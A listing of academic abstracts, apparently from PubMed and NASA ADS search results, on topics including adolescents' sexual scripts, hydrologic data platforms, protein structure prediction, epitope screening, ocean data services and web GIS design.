source and destination object sets, while they have attribute pages to indicate that history . Fourth, we allow for operations to occur on any objects...client dialogue to the PostgreSQL database where server-side functions implement the service logic for the requests. The translation is done...to satisfy client requests, and performs delayed instantiation bulk operations. It is built around a PostgreSQL database with tables for storing

Adolescents' sexual scripts: schematic representations of consensual and nonconsensual heterosexual interactions.

PubMed

Krahé, Barbara; Bieneck, Steffen; Scheinberger-Olwig, Renate

2007-11-01

The characteristic features of adolescents' sexual scripts were explored in 400 tenth and eleventh graders from Berlin, Germany. Participants rated the prototypical elements of three scripts for heterosexual interactions: (1) the prototypical script for the first consensual sexual intercourse with a new partner as pertaining to adolescents in general (general script); (2) the prototypical script for the first consensual sexual intercourse with a new partner as pertaining to themselves personally (individual script); and (3) the script for a nonconsensual sexual intercourse (rape script). Compared with the general script for the age group as a whole, the individual script contained fewer risk elements related to sexual aggression and portrayed more positive consequences of the sexual interaction. Few gender differences were found, and coital experience did not affect sexual scripts. The rape script was found to be close to the "real rape stereotype." The findings are discussed with respect to the role of sexual scripts as guidelines for behavior, particularly in terms of their significance for the prediction of sexual aggression.

HydroDesktop: An Open Source GIS-Based Platform for Hydrologic Data Discovery, Visualization, and Analysis

NASA Astrophysics Data System (ADS)

Ames, D. P.; Kadlec, J.; Cao, Y.; Grover, D.; Horsburgh, J. S.; Whiteaker, T.; Goodall, J. L.; Valentine, D. W.

2010-12-01

A growing number of hydrologic information servers are being deployed by government agencies, university networks, and individual researchers using the Consortium of Universities for the Advancement of Hydrologic Science, Inc. (CUAHSI) Hydrologic Information System (HIS). The CUAHSI HIS Project has developed a standard software stack, called HydroServer, for publishing hydrologic observations data. It includes the Observations Data Model (ODM) database and Water Data Service web services, which together enable publication of data on the Internet in a standard format called Water Markup Language (WaterML). Metadata describing available datasets hosted on these servers is compiled within a central metadata catalog called HIS Central at the San Diego Supercomputer Center and is searchable through a set of predefined web services based queries. Together, these servers and central catalog service comprise a federated HIS of a scale and comprehensiveness never previously available. This presentation will briefly review/introduce the CUAHSI HIS system with special focus on a new HIS software tool called "HydroDesktop" and the open source software development web portal, www.HydroDesktop.org, which supports community development and maintenance of the software. HydroDesktop is a client-side, desktop software application that acts as a search and discovery tool for exploring the distributed network of HydroServers, downloading specific data series, visualizing and summarizing data series and exporting these to formats needed for analysis by external software. HydroDesktop is based on the open source DotSpatial GIS developer toolkit which provides it with map-based data interaction and visualization, and a plug-in interface that can be used by third party developers and researchers to easily extend the software using Microsoft .NET programming languages. HydroDesktop plug-ins that are presently available or currently under development within the project and by third party collaborators include functions for data search and discovery, extensive graphing, data editing and export, HydroServer exploration, integration with the OpenMI workflow and modeling system, and an interface for data analysis through the R statistical package.

Assessment of Template-Based Modeling of Protein Structure in CASP11

PubMed Central

Modi, Vivek; Xu, Qifang; Adhikari, Sam; Dunbrack, Roland L.

2016-01-01

We present the assessment of predictions submitted in the template-based modeling (TBM) category of CASP11 (Critical Assessment of Protein Structure Prediction). Model quality was judged on the basis of global and local measures of accuracy on all atoms including side chains. The top groups on 39 human-server targets based on model 1 predictions were LEER, Zhang, LEE, MULTICOM, and Zhang-Server. The top groups on 81 targets by server groups based on model 1 predictions were Zhang-Server, nns, BAKER-ROSETTASERVER, QUARK, and myprotein-me. In CASP11, the best models for most targets were equal to or better than the best template available in the Protein Data Bank, even for targets with poor templates. The overall performance in CASP11 is similar to the performance of predictors in CASP10 with slightly better performance on the hardest targets. For most targets, assessment measures exhibited bimodal probability density distributions. Multi-dimensional scaling of an RMSD matrix for each target typically revealed a single cluster with models similar to the target structure, with a mode in the GDT-TS density between 40 and 90, and a wide distribution of models highly divergent from each other and from the experimental structure, with density mode at a GDT-TS value of ~20. The models in this peak in the density were either compact models with entirely the wrong fold, or highly non-compact models. The results argue for a density-driven approach in future CASP TBM assessments that accounts for the bimodal nature of these distributions instead of Z-scores, which assume a unimodal, Gaussian distribution. PMID:27081927

Expitope: a web server for epitope expression.

PubMed

Haase, Kerstin; Raffegerst, Silke; Schendel, Dolores J; Frishman, Dmitrij

2015-06-01

Adoptive T cell therapies based on introduction of new T cell receptors (TCRs) into patient recipient T cells is a promising new treatment for various kinds of cancers. A major challenge, however, is the choice of target antigens. If an engineered TCR can cross-react with self-antigens in healthy tissue, the side-effects can be devastating. We present the first web server for assessing epitope sharing when designing new potential lead targets. We enable the users to find all known proteins containing their peptide of interest. The web server returns not only exact matches, but also approximate ones, allowing a number of mismatches of the users choice. For the identified candidate proteins the expression values in various healthy tissues, representing all vital human organs, are extracted from RNA Sequencing (RNA-Seq) data as well as from some cancer tissues as control. All results are returned to the user sorted by a score, which is calculated using well-established methods and tools for immunological predictions. It depends on the probability that the epitope is created by proteasomal cleavage and its affinities to the transporter associated with antigen processing and the major histocompatibility complex class I alleles. With this framework, we hope to provide a helpful tool to exclude potential cross-reactivity in the early stage of TCR selection for use in design of adoptive T cell immunotherapy. The Expitope web server can be accessed via http://webclu.bio.wzw.tum.de/expitope. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please email: journals.permissions@oup.com.

Developing a Data Discovery Tool for Interdisciplinary Science: Leveraging a Web-based Mapping Application and Geosemantic Searching

NASA Astrophysics Data System (ADS)

Albeke, S. E.; Perkins, D. G.; Ewers, S. L.; Ewers, B. E.; Holbrook, W. S.; Miller, S. N.

2015-12-01

The sharing of data and results is paramount for advancing scientific research. The Wyoming Center for Environmental Hydrology and Geophysics (WyCEHG) is a multidisciplinary group that is driving scientific breakthroughs to help manage water resources in the Western United States. WyCEHG is mandated by the National Science Foundation (NSF) to share their data. However, the infrastructure from which to share such diverse, complex and massive amounts of data did not exist within the University of Wyoming. We developed an innovative framework to meet the data organization, sharing, and discovery requirements of WyCEHG by integrating both open and closed source software, embedded metadata tags, semantic web technologies, and a web-mapping application. The infrastructure uses a Relational Database Management System as the foundation, providing a versatile platform to store, organize, and query myriad datasets, taking advantage of both structured and unstructured formats. Detailed metadata are fundamental to the utility of datasets. We tag data with Uniform Resource Identifiers (URI's) to specify concepts with formal descriptions (i.e. semantic ontologies), thus allowing users the ability to search metadata based on the intended context rather than conventional keyword searches. Additionally, WyCEHG data are geographically referenced. Using the ArcGIS API for Javascript, we developed a web mapping application leveraging database-linked spatial data services, providing a means to visualize and spatially query available data in an intuitive map environment. Using server-side scripting (PHP), the mapping application, in conjunction with semantic search modules, dynamically communicates with the database and file system, providing access to available datasets. Our approach provides a flexible, comprehensive infrastructure from which to store and serve WyCEHG's highly diverse research-based data. This framework has not only allowed WyCEHG to meet its data stewardship requirements, but can provide a template for others to follow.

Motivating Communities To Go Beyond the Discovery Plateau

NASA Astrophysics Data System (ADS)

Habermann, T.; Kozimor, J.

2014-12-01

Years of emphasizing discovery and minimal metadata requirements have resulted in a culture that accepts that metadata are for discovery and complete metadata are too complex or difficult for researchers to understand and create. Evolving the culture past this "data-discovery plateau" requires a multi-faceted approach that addresses the rational and emotional sides of the problem. On the rational side, scientists know that data and results must be well documented in order to be reproducible, re-usable, and trustworthy. We need tools that script critical moves towards well-described destinations and help identify members of the community that are already leading the way towards those destinations. We need mechanisms that help those leaders share their experiences and examples. On the emotional side, we need to emphasize that high-quality metadata makes data trustworthy, divide the improvement process into digestible pieces and create mechanisms for clearly identifying and rewarding progress. We also need to provide clear opportunities for community members to increase their expertise and to share their skills.

Improving Data Discovery, Access, and Analysis to More Than Three Decades of Oceanographic and Geomorphologic Observations

NASA Astrophysics Data System (ADS)

Forte, M.; Hesser, T.; Knee, K.; Ingram, I.; Hathaway, K. K.; Brodie, K. L.; Spore, N.; Bird, A.; Fratantonio, R.; Dopsovic, R.; Keith, A.; Gadomski, K.

2016-02-01

The U.S. Army Engineer Research and Development Center's (USACE ERDC) Coastal and Hydraulics Laboratory (CHL) Coastal Observations and Analysis Branch (COAB) Measurements Program has a 35-year record of coastal observations. These datasets include oceanographic point source measurements, Real-Time Kinematic (RTK) GPS bathymetry surveys, and remote sensing data from both the Field Research Facility (FRF) in Duck, NC and from other project and experiment sites around the nation. The data has been used to support a variety of USACE mission areas, including coastal wave model development, beach and bar response, coastal project design, coastal storm surge, and other coastal hazard investigations. Furthermore these data have been widely used by a number of federal and state agencies, academic institutions, and private industries in hundreds of scientific and engineering investigations, publications, conference presentations and model advancement studies. A limiting factor to the use of FRF data has been rapid, reliable access and publicly available metadata for each data type. The addition of web tools, accessible data files, and well-documented metadata will open the door to much future collaboration. With the help of industry partner RPS ASA and the U.S. Army Corps of Engineers Mobile District Spatial Data Branch, a Data Integration Framework (DIF) was developed. The DIF represents a combination of processes, standards, people, and tools used to transform disconnected enterprise data into useful, easily accessible information for analysis and reporting. A front-end data portal connects the user to the framework that integrates both oceanographic observation and geomorphology measurements using a combination of ESRI and open-source technology while providing a seamless data discovery, access, and analysis experience to the user. The user interface was built with ESRI's JavaScript API and all project metadata is managed using Geoportal. The geomorphology data is made available through ArcGIS Server, while the oceanographic data sets have been formatted to netCDF4 and made available through a THREDDS server. Additional web tools run alongside the THREDDS server to provide rapid statistical calculations and plotting, allowing for user defined data access and visualization.

EarthServer2 : The Marine Data Service - Web based and Programmatic Access to Ocean Colour Open Data

NASA Astrophysics Data System (ADS)

Clements, Oliver; Walker, Peter

2017-04-01

The ESA Ocean Colour - Climate Change Initiative (ESA OC-CCI) has produced a long-term high quality global dataset with associated per-pixel uncertainty data. This dataset has now grown to several hundred terabytes (uncompressed) and is freely available to download. However, the sheer size of the dataset can act as a barrier to many users; large network bandwidth, local storage and processing requirements can prevent researchers without the backing of a large organisation from taking advantage of this raw data. The EC H2020 project, EarthServer2, aims to create a federated data service providing access to more than 1 petabyte of earth science data. Within this federation the Marine Data Service already provides an innovative on-line tool-kit for filtering, analysing and visualising OC-CCI data. Data are made available, filtered and processed at source through a standards-based interface, the Open Geospatial Consortium Web Coverage Service and Web Coverage Processing Service. This work was initiated in the EC FP7 EarthServer project where it was found that the unfamiliarity and complexity of these interfaces itself created a barrier to wider uptake. The continuation project, EarthServer2, addresses these issues by providing higher level tools for working with these data. We will present some examples of these tools. Many researchers wish to extract time series data from discrete points of interest. We will present a web based interface, based on NASA/ESA WebWorldWind, for selecting points of interest and plotting time series from a chosen dataset. In addition, a CSV file of locations and times, such as a ship's track, can be uploaded and these points extracted and returned in a CSV file allowing researchers to work with the extract locally, such as a spreadsheet. We will also present a set of Python and JavaScript APIs that have been created to complement and extend the web based GUI. These APIs allow the selection of single points and areas for extraction. The extracted data is returned as structured data (for instance a Python array) which can then be passed directly to local processing code. We will highlight how the libraries can be used by the community and integrated into existing systems, for instance by the use of Jupyter notebooks to share Python code examples which can then be used by other researchers as a basis for their own work.

STELAR: An experiment in the electronic distribution of astronomical literature

NASA Technical Reports Server (NTRS)

Warnock, A.; Vansteenburg, M. E.; Brotzman, L. E.; Gass, J.; Kovalsky, D.

1992-01-01

STELAR (Study of Electronic Literature for Astronomical Research) is a Goddard-based project designed to test methods of delivering technical literature in machine readable form. To that end, we have scanned a five year span of the ApJ, ApJ Supp, AJ and PASP, and have obtained abstracts for eight leading academic journals from NASA/STI CASI, which also makes these abstracts available through the NASA RECON system. We have also obtained machine readable versions of some journal volumes from the publishers, although in many instances, the final typeset versions are no longer available. The fundamental data object for the STELAR database is the article, a collection of items associated with a scientific paper - abstract, scanned pages (in a variety of formats), figures, OCR extractions, forward and backward references, errata and versions of the paper in various formats (e.g., TEX, SGML, PostScript, DVI). Articles are uniquely referenced in the database by journal name, volume number and page number. The selection and delivery of articles is accomplished through the WAIS (Wide Area Information Server) client/server models requiring only an Internet connection. Modest modifications to the server code have made it capable of delivering the multiple data types required by STELAR. WAIS is a platform independent and fully open multi-disciplinary delivery system, originally developed by Thinking Machines Corp. and made available free of charge. It is based on the ISO Z39.50 standard communications protocol. WAIS servers run under both UNIX and VMS. WAIS clients run on a wide variety of machines, from UNIX-based Xwindows systems to MS-DOS and macintosh microcomputers. The WAIS system includes full-test indexing and searching of documents, network interface and easy access to a variety of document viewers. ASCII versions of the CASI abstracts have been formatted for display and the full test of the abstracts has been indexed. The entire WAIS database of abstracts is now available for use by the astronomical community. Enhancements of the search and retrieval system are under investigation to include specialized searches (by reference, author or keyword, as opposed to full test searches), improved handling of word stems, improvements in relevancy criteria and other retrieval techniques, such as factor spaces. The STELAR project has been assisted by the full cooperation of the AAS, the ASP, the publishers of the academic journals, librarians from GSFC, NRAO and STScI, the Library of Congress, and the University of North Carolina at Chapel Hill.

Infectious Disease Information Collection System at the Scene of Disaster Relief Based on a Personal Digital Assistant.

PubMed

Li, Ya-Pin; Gao, Hong-Wei; Fan, Hao-Jun; Wei, Wei; Xu, Bo; Dong, Wen-Long; Li, Qing-Feng; Song, Wen-Jing; Hou, Shi-Ke

2017-12-01

The objective of this study was to build a database to collect infectious disease information at the scene of a disaster through the use of 128 epidemiological questionnaires and 47 types of options, with rapid acquisition of information regarding infectious disease and rapid questionnaire customization at the scene of disaster relief by use of a personal digital assistant (PDA). SQL Server 2005 (Microsoft Corp, Redmond, WA) was used to create the option database for the infectious disease investigation, to develop a client application for the PDA, and to deploy the application on the server side. The users accessed the server for data collection and questionnaire customization with the PDA. A database with a set of comprehensive options was created and an application system was developed for the Android operating system (Google Inc, Mountain View, CA). On this basis, an infectious disease information collection system was built for use at the scene of disaster relief. The creation of an infectious disease information collection system and rapid questionnaire customization through the use of a PDA was achieved. This system integrated computer technology and mobile communication technology to develop an infectious disease information collection system and to allow for rapid questionnaire customization at the scene of disaster relief. (Disaster Med Public Health Preparedness. 2017;11:668-673).

Cross-standard user description in mobile, medical oriented virtual collaborative environments

NASA Astrophysics Data System (ADS)

Ganji, Rama Rao; Mitrea, Mihai; Joveski, Bojan; Chammem, Afef

2015-03-01

By combining four different open standards belonging to the ISO/IEC JTC1/SC29 WG11 (a.k.a. MPEG) and W3C, this paper advances an architecture for mobile, medical oriented virtual collaborative environments. The various users are represented according to MPEG-UD (MPEG User Description) while the security issues are dealt with by deploying the WebID principles. On the server side, irrespective of their elementary types (text, image, video, 3D, …), the medical data are aggregated into hierarchical, interactive multimedia scenes which are alternatively represented into MPEG-4 BiFS or HTML5 standards. This way, each type of content can be optimally encoded according to its particular constraints (semantic, medical practice, network conditions, etc.). The mobile device should ensure only the displaying of the content (inside an MPEG player or an HTML5 browser) and the capturing of the user interaction. The overall architecture is implemented and tested under the framework of the MEDUSA European project, in partnership with medical institutions. The testbed considers a server emulated by a PC and heterogeneous user devices (tablets, smartphones, laptops) running under iOS, Android and Windows operating systems. The connection between the users and the server is alternatively ensured by WiFi and 3G/4G networks.

NMSim web server: integrated approach for normal mode-based geometric simulations of biologically relevant conformational transitions in proteins.

PubMed

Krüger, Dennis M; Ahmed, Aqeel; Gohlke, Holger

2012-07-01

The NMSim web server implements a three-step approach for multiscale modeling of protein conformational changes. First, the protein structure is coarse-grained using the FIRST software. Second, a rigid cluster normal-mode analysis provides low-frequency normal modes. Third, these modes are used to extend the recently introduced idea of constrained geometric simulations by biasing backbone motions of the protein, whereas side chain motions are biased toward favorable rotamer states (NMSim). The generated structures are iteratively corrected regarding steric clashes and stereochemical constraint violations. The approach allows performing three simulation types: unbiased exploration of conformational space; pathway generation by a targeted simulation; and radius of gyration-guided simulation. On a data set of proteins with experimentally observed conformational changes, the NMSim approach has been shown to be a computationally efficient alternative to molecular dynamics simulations for conformational sampling of proteins. The generated conformations and pathways of conformational transitions can serve as input to docking approaches or more sophisticated sampling techniques. The web server output is a trajectory of generated conformations, Jmol representations of the coarse-graining and a subset of the trajectory and data plots of structural analyses. The NMSim webserver, accessible at http://www.nmsim.de, is free and open to all users with no login requirement.

Systematic plan of building Web geographic information system based on ActiveX control

NASA Astrophysics Data System (ADS)

Zhang, Xia; Li, Deren; Zhu, Xinyan; Chen, Nengcheng

2003-03-01

A systematic plan of building Web Geographic Information System (WebGIS) using ActiveX technology is proposed in this paper. In the proposed plan, ActiveX control technology is adopted in building client-side application, and two different schemas are introduced to implement communication between controls in users¡ browser and middle application server. One is based on Distribute Component Object Model (DCOM), the other is based on socket. In the former schema, middle service application is developed as a DCOM object that communicates with ActiveX control through Object Remote Procedure Call (ORPC) and accesses data in GIS Data Server through Open Database Connectivity (ODBC). In the latter, middle service application is developed using Java language. It communicates with ActiveX control through socket based on TCP/IP and accesses data in GIS Data Server through Java Database Connectivity (JDBC). The first one is usually developed using C/C++, and it is difficult to develop and deploy. The second one is relatively easy to develop, but its performance of data transfer relies on Web bandwidth. A sample application is developed using the latter schema. It is proved that the performance of the sample application is better than that of some other WebGIS applications in some degree.